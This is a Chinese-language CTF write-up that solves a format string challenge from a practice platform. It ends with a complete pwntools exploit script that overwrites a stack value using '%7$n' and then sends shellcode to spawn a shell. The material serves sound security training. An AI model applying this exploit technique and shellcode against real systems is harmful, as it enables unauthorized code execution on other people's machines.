题目来源 攻防世界

题目知识点:格式化字符串

正文

使用checksec进行检查发现该程序为64位程序。开启了堆栈保护,堆栈不可执行,全部随机化处理。

使用ida进行源代码反编译,发现main函数如下。

在main函数中,将堆栈上的数据的地址进行了打印输出。在后续函数分析如下。

发现,存在格式化字符串漏洞。再继续分析中发现如下函数。

如果进入if条件中,会直接执行我们传入的数据。这里我们只需要利用格式化字符串任意地址写,对数据进行覆写即可。我们追溯a1变量的来源,发现该处为main函数中打印出的地址上所存储数据。那么这个题思路可分为,利用格式化字符串漏洞对堆栈上的数据进行覆写,使其满足if条件,然后输入shellcode,获取shell。
使用格式化字符串漏洞,首先需要计算偏移量,可以使用gdb进行调试,然后去内存中寻找自己输入的数据从而计算偏移量,我这里直接使用%X进行打印的方法。

得到偏移量为8。又因为我们要将数据覆写为int类型数据,所以使用$n进行覆写。在偏移量为7处,是我们可控的地址,直接拿来利用。脚本如下。

from pwn import *
sh = process('./167e00a26ef44e1f888b3ede29d88e38')
context(arch='amd64', os='linux')#使shellcraft自动选取shellcode类型
#sh = remote('111.198.29.45',57659)
sh.recvuntil('secret[0] is ')
addr = int(sh.recvuntil('\n'),16)
sh.recvuntil('name be:\n')
sh.sendline('Mr_hello')
sh.recvuntil('east or up?:\n')
sh.sendline('east')
sh.recvuntil('go into there(1), or leave(0)?:\n')
sh.sendline('1')
sh.recvuntil("Give me an address'\n")
sh.sendline(str(addr))
sh.recvuntil("you wish is:\n")
payload = 'a' * 85 + '%7$n'
sh.sendline(payload)
sh.recvuntil('YOU SPELL\n')
sh.sendline(asm(shellcraft.sh()))
sh.interactive()

疑难解答

  • 1 算出偏移量为8,但是发现偏移量为7时,地址可控。所以使用偏移量7进行操作。

  • 2 在最后一个函数分析时,最后处反编译所表达意思为直接将输入进行了执行。

02-12 06:01